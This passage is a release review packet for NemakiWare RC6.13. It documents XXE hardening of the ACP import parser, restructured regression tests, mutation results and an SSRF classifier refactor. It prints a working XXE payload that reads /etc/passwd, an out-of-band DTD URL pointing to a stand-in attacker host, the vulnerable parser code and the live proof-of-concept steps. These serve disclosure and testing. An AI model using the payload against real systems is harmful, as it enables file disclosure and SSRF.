NemakiWare v3.1.1-RC6.13 — External Review Packet

Single entry point for the fourteenth-round external review of the RC6 series. RC6.13 is a test-quality follow-up to RC6.12. No new security gap is closed; the actual production guard in ZipImporter is byte-equivalent to RC6.11/RC6.12 (the three SAX features are still applied to the production SAXReader by the same single helper method).

This RC closes the RC6.12 external review P3 finding: the feature-readback assertion in productionParserHasAllThreeFeaturesEnabled queried a test-local probe rather than the production-configured reader. If the production external-general-entities=false or external-parameter-entities=false line were removed but disallow-doctype-decl=true remained, the DOCTYPE-rejection tests still passed (the DOCTYPE check catches the PoC payload earlier) AND the readback test still passed (because it queried the test-local probe). RC6.13 restructures so the readback binds directly to the production-configured reader instance.

RC6.12 reviewer P3 — feature-readback bound to a test-local probe

RC6.12's productionParserHasAllThreeFeaturesEnabled test did two unrelated things in one method:

Called ZipImporter.parseAcpPackageXml(...) once on a benign payload — proved the production call site is reachable.
Then built its own SAXReader, manually re-applied the three setFeature(...) calls, and queried getXMLReader().getFeature(...) on that probe.

If production deleted (e.g.) external-general-entities=false but kept disallow-doctype-decl=true:

The DOCTYPE-rejection tests still pass — the disallow-doctype-decl feature catches the PoC payload before the other two features matter.
The readback test still passes — it asks the probe, not production.

So 2 of the 3 features could be silently removed from production without any test failure. Reviewer flagged this as P3 (not blocker, since the actual attack payload is still rejected by the surviving feature).

Fix: extract the SAXReader configuration step itself, and have the readback test ask the actual production-configured reader for its feature values.

Carry-forward (no change in RC6.13)

The RC6.11 GHSA XXE fix and RC6.12 helper extraction are both byte-equivalent on the production path. The three setFeature(...) calls live in the same single helper method, applied to the same SAXReader, producing the same DocumentException for the same DOCTYPE inputs and the same Document for the same benign inputs.

The reporter who flagged the original XXE was tonghuaroot (same external reporter as the RC6.5 SSRF advisory); the RC6.11 fix remains attributed to that GHSA. RC6.12 and RC6.13 are test-quality follow-ups with no separate security credit.

RC6.11 reviewer P2 (closed in RC6.12, recap)

RC6.11's ZipImporterXxeTest had a test-local hardenedReader() helper that duplicated production. RC6.12 extracted ZipImporter.parseAcpPackageXml(byte[]) as a package-private helper and rewrote cases 1-3 to call it. That closed the "test is not exercising production" problem for the main attack-payload rejection cases. P3 (closed in this RC) is the residual gap in case 4.

RC6.11 reviewer P3 (closed in RC6.12, recap)

RC6.11 docs claimed "1683 source files" for the Phase 1.4.1 source-tree NUL byte scan; reviewer's local run reported 1681. RC6.12 corrected the count across all docs. The validator's actual output at both RC6.11 and RC6.12 was — and remains — 1681 source files / 0 hits. Unchanged in RC6.13.

Carry-forward (no change in RC6.12): the RC6.11 GHSA XXE fix itself is byte-equivalent — the three SAX-feature flags moved from inline inside importAcpFormat(...) to inside the new package-private helper parseAcpPackageXml(byte[]) it now delegates to. Same SAXReader configuration, same parse, same DocumentException thrown for the same DOCTYPE inputs.

RC6.5–RC6.12 closed (carry-forward, still in effect):
- RC6.5: GHSA-reported IPv6 transition unwrap in HttpWebhookDispatcher.
- RC6.6: 5 IPv4 special-use ranges + Teredo + RFC 6052 §2.2 /48 NAT64 in HttpWebhookDispatcher.
- RC6.7: same closures replicated into AdapterHttpClient + Redirect.NORMAL→NEVER on SHARED HttpClient.
- RC6.8: AdapterHttpClient DNS rebinding pin (HTTP fully closed at network layer, HTTPS TLS-bounded with TCP-connect residual)
  - runtime endpoint revalidation in Mattermost/Salesforce orchestrators + multi-hop redirect uses currentRequest.uri().
- RC6.9: HTTP IP-pin preserves original Host header for shared-vhost compat + honest HTTPS Javadoc + compose CATALINA_OPTS carrier for the JDK escape-hatch property (post-RC6.9 commit 84fdfca80).
- RC6.10: jp.aegif.nemaki.security.SsrfGuard shared utility extracted from the RC6.5–RC6.7 duplicated dispatcher copies; Phase 1.4.1 source-tree NUL byte pre-commit scan added; R3 orchestrator audit closed documentation-only.
- RC6.11: GHSA XXE on ACP import — 3-setFeature hardening on the dom4j SAXReader in ZipImporter.importAcpFormat(...), mirroring TypeResource.parse(...). Closes a read-capable XXE / SSRF reachable by an authenticated user with cmis:write on one folder. Repo-wide audit confirmed all other XML parser sinks already hardened. New ZipImporterXxeTest 4 cases. Live PoC reproduced pre-/post-fix on the deployed stack; test artifacts swept.
- RC6.12: extracted ZipImporter.parseAcpPackageXml(byte[]) as a package-private static helper; ZipImporterXxeTest cases 1-3 rewired to call it directly. Closed the RC6.11 review P2 (test was using a test-local SAXReader that duplicated production). Mutation test for disallow-doctype-decl confirmed the 2 DOCTYPE- rejection cases bind to production. NUL scan count corrected from "1683" (RC6.11 doc arithmetic error) to 1681 (validator's actual output).
RC6.13 adds (this RC — test-quality follow-up to RC6.12 P3):
- Split the RC6.12 helper into two: new ZipImporter.configureHardenedSaxReader() builds + returns the configured SAXReader; the renamed parseAcpPackageXml(byte[]) calls the new helper then .read(...). Single source of truth for the SAXReader configuration. Production path byte-equivalent.
- productionParserHasAllThreeFeaturesEnabled rewritten to hold the actual production-configured reader via ZipImporter.configureHardenedSaxReader(). Test-local probe block deleted. The readback assertion now binds to production: removing any one of the three setFeature(...) calls fails the matching getFeature(...) assertion with a diagnostic naming the specific feature.
- 3-way mutation test verified in this session — each of the three setFeature lines removed in isolation, in sequence. Disallow-doctype-decl removal makes 3/4 cases fail (2 DOCTYPE-reject + readback); each of the other two makes 1/4 fail (readback alone). All restored before commit. See §2.A for the full mutation table.
RC6.10 reference (carry-forward) adds:
- New shared utility jp.aegif.nemaki.security.SsrfGuard (isAddressSafe, extractEmbeddedIpv4). Both callers delegate; behaviour is byte-equivalent at the classifier-output level (no security change).
- SsrfGuardTest — 30 cases pinning the helper directly (in addition to the 85 cases already covering the dispatchers transitively).
- Phase 1.4.1 source-tree NUL scan in scripts/validate-soc-templates.sh — 1681 source files scanned at RC6.12 HEAD, 0 hits (was 1680 in RC6.10; +1 from ZipImporterXxeTest.java. RC6.11 docs originally stated "1683" — that was an off-by-2 arithmetic error in the release notes; the validator's actual output then was the same 1681 it reports now).
- R3 follow-up closure — orchestrator audit complete, only Mattermost / Salesforce ever pass user-controlled endpoint to HTTP and both were RC6.8-protected; no code change needed.
RC6.9 reference (carry-forward) adds:
- P3 fix — HTTP IP-pin preserves original Host header. pinRequestToValidatedAddress HTTP branch now rewrites URI to validated IP literal AND explicitly sets Host: <original-hostname[:port]> via the documented JDK escape hatch (-Djdk.httpclient.allowRestrictedHeaders=host JVM startup property, added to all 3 docker/core/Dockerfile* variants AND core/pom.xml surefire <argLine> AND a static initializer in AdapterHttpClient as defensive fallback). Closes the shared-vhost HTTP misroute caveat from RC6.8.
- Javadoc honesty fix on pinRequestToValidatedAddress — matches the post-RC6.8 doc-only honesty fix (d910820d7) that already corrected REVIEW_PACKET / RELEASE_NOTES / CLAUDE: HTTP is "network-layer closed", HTTPS is "TLS-bounded, NOT fully closed" with residual TCP-connect SSRF (port-scan / fingerprint / TCP-side-effect).

RC6.13 changes: Code 1 file (ZipImporter.java — split RC6.12's parseAcpPackageXml(byte[]) into configureHardenedSaxReader() + parseAcpPackageXml(byte[]); the latter calls the former. Production path byte-equivalent to RC6.12). Tests 1 file (ZipImporterXxeTest.java — case 4 rewritten to hold the actual production-configured reader; cases 1-3 unchanged). Docs 3 files (RELEASE_NOTES, CLAUDE, REVIEW_PACKET). Net for this RC: feature-readback now binds to production. 3-way mutation test (one feature removed per mutation) confirmed each feature's removal trips the corresponding readback assertion.

RC6.12 changes (carry-forward): Code 1 file (ZipImporter.java — extract parseAcpPackageXml(byte[]) as package-private static helper; importAcpFormat(...) delegates; production path byte-equivalent). Tests 1 file (ZipImporterXxeTest.java — 4 cases rewritten to call the production helper directly; test-local hardenedReader() deleted). Docs 3 files (RELEASE_NOTES, CLAUDE, REVIEW_PACKET). Net for that RC: production path behaviour unchanged; the DOCTYPE-rejection cases bind to production (mutation-test verified for disallow-doctype-decl).

RC6.11 changes (carry-forward): Code 1 file (ZipImporter.java +11 LOC — 3-setFeature block on the SAXReader, mirroring TypeResource.parse(...)). Tests 1 file (ZipImporterXxeTest.java +140 LOC new, 4 cases). Docs 3 files (RELEASE_NOTES, CLAUDE, REVIEW_PACKET). Net for that RC: the minimum-viable security fix the reporter requested + matching test + repo-wide audit confirming no other unhardened sinks.

RC6.10 changes (carry-forward): Code 3 files (SsrfGuard.java +263 LOC new, HttpWebhookDispatcher.java −240 line duplicate classifier replaced by delegation, AdapterHttpClient.java −110 line duplicate classifier replaced by delegation). Tests 2 files (SsrfGuardTest.java +220 LOC new with 30 cases, HttpWebhookDispatcherTest.java reflection-on- private-method → public-static direct call). Tooling 1 file (scripts/validate-soc-templates.sh Phase 1.4.1 source-tree NUL scan, ~60 LOC). Docs 3 files (RELEASE_NOTES, CLAUDE, REVIEW_PACKET). Net: refactor LOC-negative on the dispatchers, LOC-positive on the new helper + its dedicated test, no public API change.

RC6.9 changes (carry-forward): 1 file (AdapterHttpClient.java +76 LOC). Tests: 1 file (AdapterRegistryTest.java +31 LOC = 2 new Host-preserve tests). JVM args: surefire argLine + 3 Dockerfile variants (1 property each).

2. What changed since the previous external review (RC6.12 → RC6.13)

RC6.13 is a test-quality follow-up to RC6.12. No new security gap closed; the actual production guard in ZipImporter is byte-equivalent to RC6.11/RC6.12 (three SAX features still applied to the production SAXReader by the same single helper method). This RC closes the RC6.12 external review P3 finding: the productionParserHasAllThreeFeaturesEnabled readback assertion queried a test-local probe rather than the production-configured reader.

2.A — RC6.13 P3 fix: feature-readback now binds to production reader

What RC6.12's external reviewer found

RC6.12's productionParserHasAllThreeFeaturesEnabled test did two unrelated things in one method:

Called ZipImporter.parseAcpPackageXml(...) once on a benign payload to prove the production code path is reachable.
Then built its own SAXReader, manually re-applied the three setFeature(...) calls, and queried getXMLReader().getFeature(...) on that probe.

If production deleted (for example) external-general-entities=false but kept disallow-doctype-decl=true:

The DOCTYPE-rejection cases still pass — the disallow-doctype feature catches the PoC payload before the other two matter.
The readback case still passes — it queries the probe, not production.

So 2 of the 3 features could be silently removed from production without any test failure. Reviewer flagged this as P3 (not blocker) because the surviving disallow-doctype feature would still block the actual reporter PoC payload — but it's a real gap in the regression guard, and the reviewer asked us either to weaken the test name to match what it really proves, or to restructure to bind to production. We chose to restructure.

The fix

Split RC6.12's helper into two — one builds the reader, the other parses with it — and make the readback assertion query the configured reader instance directly.

New method in ZipImporter (RC6.13):

static SAXReader configureHardenedSaxReader() throws DocumentException {
    SAXReader reader = new SAXReader();
    try {
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    } catch (org.xml.sax.SAXException e) {
        throw new DocumentException("Failed to configure XXE protection on SAXReader", e);
    }
    return reader;
}

The existing parseAcpPackageXml(byte[]) is reduced to:

static org.dom4j.Document parseAcpPackageXml(byte[] xmlData) throws DocumentException {
    SAXReader reader = configureHardenedSaxReader();
    return reader.read(new ByteArrayInputStream(xmlData));
}

configureHardenedSaxReader() is now the single source of truth for the SAXReader configuration. Production path is byte-equivalent to RC6.12 — same calls, same order, same exceptions, same SAXReader instance handed to the same .read(...) call site.

ZipImporterXxeTest.productionParserHasAllThreeFeaturesEnabled now holds the actual production-configured reader and queries its XMLReader directly:

org.dom4j.io.SAXReader productionReader = ZipImporter.configureHardenedSaxReader();
productionReader.read(new ByteArrayInputStream(
        "<?xml version=\"1.0\"?><r/>".getBytes(StandardCharsets.UTF_8)));
org.xml.sax.XMLReader xmlReader = productionReader.getXMLReader();
assertTrue (xmlReader.getFeature(".../disallow-doctype-decl"), "... must be true on the production-configured reader");
assertFalse(xmlReader.getFeature(".../external-general-entities"), "... must be false on the production-configured reader");
assertFalse(xmlReader.getFeature(".../external-parameter-entities"), "... must be false on the production-configured reader");

The intermediate .read(...) is necessary to force the underlying XMLReader to be instantiated — dom4j's SAXReader.getXMLReader() lazy-creates it on first parse. Cases 1-3 are unchanged from RC6.12 (they already called ZipImporter.parseAcpPackageXml(...) directly).

3-way mutation test — proves each feature catches its specific removal

Did the mutation test once per feature, in sequence (commit nothing; revert between each):

Mutation in `configureHardenedSaxReader()`	Tests failing	Diagnostic from readback
Remove `disallow-doctype-decl=true`	3/4 (2 DOCTYPE-reject + readback)	`disallow-doctype-decl must be true on the production-configured reader`
Remove `external-general-entities=false`	1/4 (readback only)	`external-general-entities must be false on the production-configured reader ==> expected: <false> but was: <true>`
Remove `external-parameter-entities=false`	1/4 (readback only)	`external-parameter-entities must be false on the production-configured reader ==> expected: <false> but was: <true>`

After restoring all three lines: 4/4 PASS. The middle two rows are exactly the regression class the RC6.12 reviewer flagged — RC6.12's test missed them; RC6.13 catches them with a diagnostic naming the specific feature.

2.B — RC6.12 P2 carry-forward (closed in RC6.12, recap)

RC6.11's ZipImporterXxeTest had a test-local hardenedReader() helper that duplicated the production SAXReader configuration. RC6.12 extracted ZipImporter.parseAcpPackageXml(byte[]) as a package-private static helper and rewrote test cases 1-3 to call it. That closed the "test isn't exercising production" problem for the main attack-payload rejection cases. The RC6.13 P3 closure above is the structural extension that finishes the job for case 4 (the feature-readback assertion).

2.C — RC6.11/RC6.12 P3 carry-forward (NUL scan file count)

RC6.11 release notes claimed "1683 source files" for the Phase 1.4.1 source-tree NUL byte scan; the validator's actual output was 1681. RC6.12 corrected the count. RC6.13 confirms the count is still 1681 source files / 0 hits at HEAD.

2.E — RC6.11 GHSA XXE carry-forward (no change in RC6.12 or RC6.13)

The bug

jp.aegif.nemaki.rest.importexport.ZipImporter.importAcpFormat(...) read the package XML (top-level *.xml entry of an uploaded ACP ZIP) with a bare new SAXReader() (dom4j) that resolved DOCTYPE declarations, SYSTEM entities, and external parameter entities by default. The endpoint POST /core/rest/repo/{repositoryId}/importexport/import/{folderId} gates on hasCreateChildrenPermission(cs, repositoryId, callContext, targetFolder) — a non-admin user holding only cmis:write on a single target folder passes. No admin role required.

The resolved entity content was used as the created CMIS folder's cmis:name (via getAcpChildName(...) reading the <name> text child of the package XML's <folder> element). Because CMIS object names round-trip through the product's own CMIS API, the attacker reads the disclosed file content directly back — this is a read-capable XXE, not blind. The reporter demonstrated file:///etc/passwd and file:///etc/hostname recovery; the same primitive reads anything the Tomcat process can read (application config, credentials, key material). SSRF via http://internal/... SYSTEM and external parameter entities is also in-scope.

Vulnerable code (ZipImporter.java:191-192 pre-fix):

SAXReader reader = new SAXReader();
xmlDoc = reader.read(new ByteArrayInputStream(xmlData));

The fix

3-setFeature hardening block, mirroring the existing TypeResource.parse(...) pattern (which has had this guard since RC13):

SAXReader reader = new SAXReader();
try {
    reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
} catch (org.xml.sax.SAXException e) {
    throw new DocumentException("Failed to configure XXE protection on SAXReader", e);
}
xmlDoc = reader.read(new ByteArrayInputStream(xmlData));

DOCTYPE-bearing payloads now return:

{"documentsCreated":0,"foldersCreated":0,"message":"Import completed",
 "errors":["Failed to parse package XML: Error on line 2 of document  : DOCTYPE is disallowed when the feature \"http://apache.org/xml/features/disallow-doctype-decl\" set to true."],
 "status":"partial"}

Repo-wide audit (reporter's recommended follow-up)

Audited every new SAXReader() / DocumentBuilderFactory.newInstance() / XMLInputFactory / SAXParserFactory site across the codebase:

Sink	Pre-RC6.11 status
`ZipImporter.java:191`	Bug — fixed in this RC.
`TypeResource.java:1721`	Already hardened (3 SAX features set since RC13).
`AuthTokenResource.java:475` (SAML response parsing)	Already hardened with the full 5-feature pattern (3 SAX features + `FEATURE_SECURE_PROCESSING` + `ACCESS_EXTERNAL_DTD/SCHEMA` empty).
`SolrResource.java:403`, `SolrAllResource.java:143`	Already hardened (disallow-doctype + secure-processing) since RC13.
`SamlSignatureVerifier.java`	Receives a parsed `Document` from `AuthTokenResource`; performs no XML parsing itself.

No other unhardened XML parser sinks found.

`ZipImporterXxeTest` (introduced in RC6.11, rewritten in RC6.12)

New test class core/src/test/java/jp/aegif/nemaki/rest/importexport/ZipImporterXxeTest.java added in RC6.11. As originally shipped, it had a test-local hardenedReader() helper that duplicated the production SAXReader configuration — see §2.A above for the RC6.12 rewrite that now calls the package-private production helper ZipImporter.parseAcpPackageXml(...) directly and was mutation-test verified.

The four cases (unchanged shape, just rewired to call the production helper):

rejectsDoctypeWithFileSystemEntity — feeds the reporter's exact <!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> payload, asserts DocumentException whose message contains "DOCTYPE" / "disallow-doctype-decl".
rejectsDoctypeWithExternalParameterEntity — blind/OOB SSRF variant (<!DOCTYPE root SYSTEM "http://attacker.example.invalid/evil.dtd">), asserts DocumentException (the disallow-doctype feature catches this before any network resolution attempt).
acceptsBenignDoctypeFreePackageXml — DOCTYPE-free well-formed ACP must still parse cleanly. Guards against an over-zealous "harden by failing all XML" regression.
productionParserHasAllThreeFeaturesEnabled (RC6.12 rename from hardenedReader…) — drives the production helper to prove the setFeature calls succeeded (a failure throws before reader.read(...)), then reads back the three feature values on a separately-configured probe SAXReader.

Live PoC reproduction + post-fix verification

Done against this session's v3.1.1-RC6.10 stack:

Setup — created non-admin bob (POST /core/rest/repo/bedroom/user/create/bob), confirmed isAdmin=False, granted cmis:write on a fresh target folder via applyACL (the reporter's exact procedure).
Pre-fix reproduction — uploaded
```
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><folder><name>&xxe;</name></folder></root>
```
as package.xml inside a ZIP, server returned {"foldersCreated":1,"status":"success"}. CouchDB _all_docs?include_docs=true showed a folder whose name field began with root:x:0:0:root:/root:/bin/bash daemon:... — the container's /etc/passwd content verbatim.
Post-fix — built RC6.11 WAR, redeployed via docker compose ... up -d --build --force-recreate core, re-uploaded the identical xxe_passwd.zip. Server returned the documented "DOCTYPE is disallowed" error with foldersCreated: 0, status: partial.
Benign control — DOCTYPE-free ACP imported with foldersCreated: 1, status: success.
Cleanup — leaked-content folder, parent folder, bob user, and all bedroom_closet archive copies were swept after verification (zero residue).

2.D — RC6.10 carry-forward summary

RC6.10 is a refactor + tooling RC. No new security gap is closed; no behaviour visible to operators changes. The cycle consolidates the SSRF address classifier that has been duplicated in two files since RC6.7, adds a source-tree NUL byte scan to the SOC validator so the RC6.1 / RC6.7 NUL-shipped regression class can no longer escape pre-tag, and closes the RC6.8 R3 follow-up ("verify other orchestrators don't bypass SSRF guard") as documentation-only.

The RC6.10 detailed sections (Rule-of-Three refactor / SsrfGuardTest / Phase 1.4.1 NUL scan / R3 closure) follow below as §2.1 – §2.4 for traceability; they were the focus of the previous external review round and have not changed in RC6.11.

2.1 — Rule-of-Three refactor: new `jp.aegif.nemaki.security.SsrfGuard`

History:

RC6.5 added isAddressSafe + extractEmbeddedIpv4 to HttpWebhookDispatcher (closing the GHSA-reported NAT64 / 6to4 / IPv4-compatible / IPv4-mapped unwrap gap).
RC6.6 added 5 IPv4 special-use ranges + Teredo + RFC 6052 /48 NAT64 to the same dispatcher copy.
RC6.7 replicated the entire isAddressSafe + extractEmbeddedIpv4 (~240 LOC) into AdapterHttpClient.java so all 11 connector adapters benefit from the same classification.

After RC6.7, two complete copies of the classifier existed. A 3rd consumer (Purview / Atlas / OIDC / Graph admin-config URL validators — tracked as deferred work in §6) would have required synchronously updating duplicated code in 3 places — the classic Rule-of-Three trigger.

Fix — new utility class core/src/main/java/jp/aegif/nemaki/security/SsrfGuard.java (263 LOC, package-new) with exactly two public static methods:

Method Purpose

boolean isAddressSafe(InetAddress) Full classification — JDK predicates (loopback/link-local/site-local/any-local/multicast) + 9 IPv4 special-use ranges (RFC 1918, 169.254, 0/8, 100.64/10 CGNAT, 192.0.0/24, 198.18/15, 240/4, broadcast) + IPv6 ULA (fc00::/7) + 6 IPv6 transition formats (NAT64 well-known + local-use /48 + /96-PLR fallback, 6to4, Teredo strict, IPv4-mapped, IPv4-compatible) with embedded-IPv4 unwrap and recursive re-classify.

InetAddress extractEmbeddedIpv4(InetAddress) Returns the embedded IPv4 for any of the 6 transition formats, or null for any other address. Used by isAddressSafe internally and (in HttpWebhookDispatcher) for operator-log categorization.

Method	Purpose
`boolean isAddressSafe(InetAddress)`	Full classification — JDK predicates (loopback/link-local/site-local/any-local/multicast) + 9 IPv4 special-use ranges (RFC 1918, 169.254, 0/8, 100.64/10 CGNAT, 192.0.0/24, 198.18/15, 240/4, broadcast) + IPv6 ULA (fc00::/7) + 6 IPv6 transition formats (NAT64 well-known + local-use /48 + /96-PLR fallback, 6to4, Teredo strict, IPv4-mapped, IPv4-compatible) with embedded-IPv4 unwrap and recursive re-classify.
`InetAddress extractEmbeddedIpv4(InetAddress)`	Returns the embedded IPv4 for any of the 6 transition formats, or `null` for any other address. Used by `isAddressSafe` internally and (in `HttpWebhookDispatcher`) for operator-log categorization.

Both callers now delegate:

HttpWebhookDispatcher.isAddressSafe(InetAddress, String) — removed 240 LOC of duplicated classifier; classification now goes through SsrfGuard.isAddressSafe. When classification returns false, the method re-runs cheap top-level predicates locally only to produce categorized operator log lines (loopback / link-local / site-local / any-local / multicast / IPv6 transition wrap / IPv6 ULA / IPv4 special-use). The categorization-only re-run is a pure logging concern; the security decision is 100% delegated.
AdapterHttpClient.isAddressSafe(InetAddress) — removed 110 LOC of duplicated classifier and the entire extractEmbeddedIpv4 private method (113 LOC). The remaining wrapper is a 3-LOC delegator; both call sites (pinRequestToValidatedAddress and validateExternalUrl) stay byte-equivalent.

Behavioural guarantee: the extracted helper is byte-for-byte identical to the prior dispatcher / adapter copies. No classification bucket changed, no edge-case threshold moved, no predicate sequence reordered. The diff is structural only.

2.2 — `SsrfGuardTest` (new, 30 cases)

New test class core/src/test/java/jp/aegif/nemaki/security/SsrfGuardTest.java exercises every classification bucket directly on the helper (rather than transitively through the dispatcher / adapter wrappers). Coverage:

Bucket	Cases
JDK predicate categories (loopback, link-local, RFC 1918, any-local, multicast)	4
IPv4 special-use ranges (CGNAT 100.64/10 with 100.63/100.128 boundary tests, 0/8, 192.0.0/24, 198.18/15, 240/4, broadcast)	5
IPv6 ULA (fc00::/8, fd00::/8)	1
IPv6 transition formats × {private-IPv4 reject, public-IPv4 allow} — NAT64 well-known, NAT64 local-use /48, 6to4, Teredo, IPv4-mapped, IPv4-compatible	10
Public-allowlist regression guards (8.8.8.8, 1.1.1.1, 172.15/172.32 outside RFC 1918, 2606:4700::, 2001:4860::, 2001:db8:: documentation)	2
`extractEmbeddedIpv4` direct (regular IPv6 → null, ULA → null, 2001:db8 → null because Teredo prefix is strict, all 4 transitions unwrap correctly, trivial low-bits IPv4-compatible skipped)	8
Total	30

HttpWebhookDispatcherTest.testExtractEmbeddedIpv4PublicPassthrough updated: previously used reflection to invoke a private dispatcher method; now calls SsrfGuard.extractEmbeddedIpv4 directly (public static). Behaviour-equivalent.

2.3 — `Phase 1.4.1` source-tree NUL byte scan

scripts/validate-soc-templates.sh (the RC6.4 SOC template validator) gains a new Phase 1.4.1 that scans .java, .ts, .tsx, .js, .jsx files for literal NUL (0x00) bytes across the repo.

Two regressions in this RC cycle alone shipped NUL bytes:

RC6.1 P2-3: ConnectorGovernanceTab.tsx had a literal \x00 in a simulateRemove.join('\0') separator (Java would fail the same idiom at compile, TypeScript happily emits the binary character). Caused grep / rg / file to misclassify the source file as binary. Reviewer caught it.
RC6.7 P3: HttpWebhookDispatcherTest.java had a literal \x00 in a test string. Same symptom. Reviewer caught it.

Both got past Java / TypeScript compilation. Now caught at pre-commit / pre-tag time by the validator running with no docker dependency.

Implementation:

Python one-liner walks REPO_ROOT, excludes node_modules, target, dist, build, .git, coverage, playwright-report, test-results.
Counts NUL bytes per file via b'\x00'.count(...) on raw bytes.
1680 source files scanned at RC6.10 HEAD, 0 hits.
Honors VALIDATE_SOURCE_NUL=0 for clean-tree environments (default: 1 = run).

The check runs in <1 second on the current tree; no performance guard needed.

2.4 — R3 follow-up closure (orchestrator audit)

REVIEW_PACKET §6 carried an open R3 item from RC6.8: "verify other orchestrators don't bypass the SSRF guard by passing connector.getEndpoint() to HTTP calls without explicit validation." Audit complete:

Orchestrator	Behaviour
`MattermostFetchOrchestrator`	RC6.8 explicit `validateExternalUrl(connector.getEndpoint())` at orchestrator entry.
`SalesforceFetchOrchestrator`	RC6.8 explicit `validateExternalUrl(connector.getEndpoint())` at orchestrator entry.
`ImapFetchOrchestrator`	Uses `imap://` scheme — would fail `validateExternalUrl`'s http/https-only check. NOT placed behind that guard by design; IMAP authentication path is reviewed separately.
Slack / Teams / Gmail / M365Mail / Notion / Chatwork / Box / Dropbox (×8)	Vendor API URLs hardcoded in the adapter classes. No user-controlled endpoint reaches HTTP.

In addition, AdapterHttpClient.pinRequestToValidatedAddress runs send-time re-validation on every HTTP request regardless of caller path. Even if a future change accidentally introduced a configurable endpoint without explicit validateExternalUrl at orchestrator entry, the SSRF guard still applies at the HTTP-send layer.

R3 closure is documentation-only — no code change in this RC.

2.5 — RC6.9 carry-forward (already external-reviewed)

RC6.9 closes the RC6.8-post-tag P3 compat caveat (HTTP IP-pin sent Host: <IP>, breaking shared-vhost HTTP deployments) and aligns the AdapterHttpClient Javadoc with the post-RC6.8 doc-only P2 honesty fix that landed in d910820d7 on REVIEW_PACKET / RELEASE_NOTES / CLAUDE.

2.5.1 — RC6.9 P3 fix: HTTP IP-pin preserves original Host header

In RC6.8, pinRequestToValidatedAddress rewrote the HTTP URI to the validated IP literal and let the JDK default the Host header to that IP. For dedicated-server deployments this works because the server typically ignores Host or responds to any value. Shared-vhost deployments — one IP serving multiple Mattermost / Salesforce on-prem instances under different hostnames behind a single reverse proxy — were broken: the proxy could not match a vhost on Host: <IP> and would 404 or route to a default vhost. Setting the connector endpoint to the IP directly was NOT a workaround (the vhost match requires the hostname).

Fix: rewrite URI to IP literal AND explicitly set b.header("Host", originalHostHeader). Uses the documented JDK escape hatch via the startup property -Djdk.httpclient.allowRestrictedHeaders=host, set in:

Production (image build): docker/core/Dockerfile{,.jakarta,.simple} — CATALINA_OPTS / JAVA_OPTS augmented.
Production (compose runtime override): docker/docker-compose-simple.yml, docker/docker-compose-ldap.yml, docker/docker-compose-auth-test.yml — CATALINA_OPTS augmented. This piece is visible in the v3.1.1-RC6.9..v3.1.1-RC6.10 diff: the compose CATALINA_OPTS environment: entries override the Dockerfile ENV CATALINA_OPTS at container-start time, and RC6.9 originally shipped only the Dockerfile half. The compose patch landed as post-RC6.9 commit 84fdfca80 to make the property actually reach the running JVM in the standard compose stacks (the Dockerfile ENV is masked when compose sets the same variable). Carried forward into the RC6.10 tag content. No classifier / no SSRF behaviour change — only widens where the RC6.9 JDK property reaches.
Tests: core/pom.xml surefire <argLine>.
Defensive fallback: a static {} initializer at the top of AdapterHttpClient sets the property additively at class load time, preserving any other operator-set values.

JVM-wide effect: other code in the same JVM using HttpRequest.Builder.header("Host", ...) will now succeed where it previously threw IllegalArgumentException. This is intentional (the JDK's documented escape hatch).

2.5.2 — RC6.9 Javadoc honesty alignment

AdapterHttpClient.pinRequestToValidatedAddress Javadoc now reflects the actual security boundary (mirroring the post-RC6.8 doc fix d910820d7):

HTTP: "DNS rebinding closed at the network layer" — IP-pin prevents any TCP connection to a rebound IP. Host preservation noted.
HTTPS: "TLS-bounded, NOT fully closed" — send-time re-validation catches pre-resolve rebinds but a microsecond race window remains. TLS cert verification stops data-exchange SSRF (no body read, no token leak, no internal API call succeeds) but TCP-connect SSRF residual (port scan, service fingerprint, inbound-TCP/TLS-handshake side effects on internal services). Real fix queued: custom SocketFactory pinning IP at TCP-connect time while keeping SNI / hostname verification on the original hostname. Tracked as Medium residual risk in §6.

2.5.3 — RC6.9 Tests (carry-forward)

2 new regression tests in AdapterRegistryTest:
- pinRequestPreservesOriginalHostHeaderOnHttpPin — URI uses IP literal, Host header carries original hostname:port.
- pinRequestPreservesOriginalHostHeaderWithoutPort — default port 80 case (no :port suffix).
All 7 adapter contract tests (Slack 12 / Teams 11 / Mattermost 12 / Notion 8 / Salesforce 11 / M365 Mail 9 / Chatwork 13 = 76 PASS) still pass: WireMock accepts any Host header so the change is transparent.
Full focused regression (RC6.9 baseline): 343/343 PASS (was 265 in RC6.8; +78 from adding all 7 adapter contract test classes to the focused regression set + 2 new Host-preserve tests).

2.6 — Tests at RC6.13 HEAD

ZipImporterXxeTest: 4/4 PASS — case 4 (productionParserHasAllThreeFeaturesEnabled) now holds the actual production-configured reader via ZipImporter.configureHardenedSaxReader().
3-way mutation test (see §2.A table for the full before/after evidence): each of the three setFeature lines, removed in isolation, fails the readback with a diagnostic naming that feature. Removing disallow-doctype-decl also fails the 2 DOCTYPE-rejection cases. Mutations not committed.
SsrfGuardTest (RC6.10 carry-forward): 30/30 PASS — classification on the extracted helper.
HttpWebhookDispatcherTest: 59/59 PASS — RC6.10 delegation unchanged.
AdapterRegistryTest: 26/26 PASS — RC6.9 Host-preserve tests still pass through the delegated classifier.
7 adapter contract tests (Slack 12 / Teams 11 / Mattermost 12 / Notion 8 / Salesforce 11 / M365 Mail 9 / Chatwork 13): 76/76 PASS.
Focused 25-class regression: 377/377 PASS — same count and classes as RC6.11/RC6.12; the RC6.13 refactor is behaviour-equivalent on the production path.
Combined SSRF-classifier surface (`HttpWebhookDispatcherTest
- AdapterRegistryTest + SsrfGuardTest`): 115 PASS — unchanged from RC6.10/RC6.11/RC6.12.
SOC validator full run (no Docker): 17 PASS / 7 SKIP — Phase 1.4.1 source-tree NUL scan walks 1681 source files / 0 hits at RC6.13 HEAD (unchanged from RC6.12).
Maven compile: clean.
Live PoC reproduction + post-fix verification (RC6.11): recorded in §2.E. Unchanged in RC6.13 — same production path behaviour.

Re-run command (RC6.13 focused regression — 25 classes, unchanged from RC6.11/RC6.12):

